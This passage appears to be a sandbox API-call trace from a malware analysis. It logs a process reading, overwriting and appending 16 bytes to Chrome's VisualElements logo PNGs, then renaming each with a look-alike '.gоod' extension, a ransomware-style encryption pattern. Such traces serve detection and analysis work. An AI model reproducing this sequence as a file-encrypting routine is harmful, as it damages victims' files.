dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1ef3 [0148.572] WriteFile (in: hFile=0x630, lpBuffer=0x38526a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x38526a8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0148.572] CloseHandle (hObject=0x630) returned 1 [0148.572] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0148.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0148.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0148.572] GetFileType (hFile=0x630) returned 0x1 [0148.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0148.572] GetFileType (hFile=0x630) returned 0x1 [0148.572] ReadFile (in: hFile=0x630, lpBuffer=0x3854990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3854990*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0148.768] CloseHandle (hObject=0x630) returned 1 [0148.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0148.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0148.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0148.768] GetFileType (hFile=0x630) returned 0x1 [0148.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0148.768] GetFileType (hFile=0x630) returned 0x1 [0148.768] WriteFile (in: hFile=0x630, lpBuffer=0x38536c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x38536c0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0148.768] CloseHandle (hObject=0x630) returned 1 [0148.768] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x0) returned 0x5a [0148.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png.gоod", lpFilePart=0x0) returned 0x5f [0148.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0148.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x54e3fae1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f03)) returned 1 [0148.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0148.769] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png.gоod")) returned 1 [0148.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0148.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0148.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x38d2038 | out: lpFileInformation=0x38d2038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e06334, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x2419)) returned 1 [0148.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0148.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0148.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0148.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0148.771] GetFileType (hFile=0x630) returned 0x1 [0148.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0148.771] GetFileType (hFile=0x630) returned 0x1 [0148.771] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0148.771] ReadFile (in: hFile=0x630, lpBuffer=0x38d24c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x38d24c0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0148.772] CloseHandle (hObject=0x630) returned 1 [0148.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0148.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0148.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0148.773] GetFileType (hFile=0x630) returned 0x1 [0148.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0148.773] GetFileType (hFile=0x630) returned 0x1 [0148.773] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x2419 [0148.773] WriteFile (in: hFile=0x630, lpBuffer=0x38d3cd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x38d3cd8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0150.001] CloseHandle (hObject=0x630) returned 1 [0150.035] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0150.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.036] GetFileType (hFile=0x630) returned 0x1 [0150.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.036] GetFileType (hFile=0x630) returned 0x1 [0150.036] ReadFile (in: hFile=0x630, lpBuffer=0x3925b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3925b88*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0150.500] CloseHandle (hObject=0x630) returned 1 [0150.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0150.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.501] GetFileType (hFile=0x630) returned 0x1 [0150.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.501] GetFileType (hFile=0x630) returned 0x1 [0150.501] WriteFile (in: hFile=0x630, lpBuffer=0x39248a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x39248a8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0150.501] CloseHandle (hObject=0x630) returned 1 [0150.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x0) returned 0x5e [0150.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png.gоod", lpFilePart=0x0) returned 0x63 [0150.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0150.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x55ec3a0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2429)) returned 1 [0150.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0150.501] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png.gоod")) returned 1 [0150.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0150.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x3a2d608 | out: lpFileInformation=0x3a2d608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e0b154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2)) returned 1 [0150.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0150.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.503] GetFileType (hFile=0x630) returned 0x1 [0150.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.503] GetFileType (hFile=0x630) returned 0x1 [0150.503] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0150.503] ReadFile (in: hFile=0x630, lpBuffer=0x3a2daa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3a2daa0*, lpNumberOfBytesRead=0x1fbebaf8*=0xea2, lpOverlapped=0x0) returned 1 [0150.506] CloseHandle (hObject=0x630) returned 1 [0150.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.506] GetFileType (hFile=0x630) returned 0x1 [0150.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.506] GetFileType (hFile=0x630) returned 0x1 [0150.506] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1ea2 [0150.506] WriteFile (in: hFile=0x630, lpBuffer=0x3a2ed78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3a2ed78*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0150.506] CloseHandle (hObject=0x630) returned 1 [0150.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.507] GetFileType (hFile=0x630) returned 0x1 [0150.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.507] GetFileType (hFile=0x630) returned 0x1 [0150.507] ReadFile (in: hFile=0x630, lpBuffer=0x3a31078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a31078*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0150.656] CloseHandle (hObject=0x630) returned 1 [0150.656] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.656] GetFileType (hFile=0x630) returned 0x1 [0150.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.656] GetFileType (hFile=0x630) returned 0x1 [0150.656] WriteFile (in: hFile=0x630, lpBuffer=0x37807e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x37807e0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0150.656] CloseHandle (hObject=0x630) returned 1 [0150.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x0) returned 0x60 [0150.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png.gоod", lpFilePart=0x0) returned 0x65 [0150.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0150.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x56041086, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1eb2)) returned 1 [0150.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0150.657] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png.gоod")) returned 1 [0150.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0150.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0150.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), fInfoLevelId=0x0, lpFileInformation=0x37e9da0 | out: lpFileInformation=0x37e9da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f)) returned 1 [0150.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0150.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0150.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.658] GetFileType (hFile=0x630) returned 0x1 [0150.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.658] GetFileType (hFile=0x630) returned 0x1 [0150.658] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0150.659] ReadFile (in: hFile=0x630, lpBuffer=0x37ea228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x37ea228*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0150.660] CloseHandle (hObject=0x630) returned 1 [0150.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0150.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0150.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files 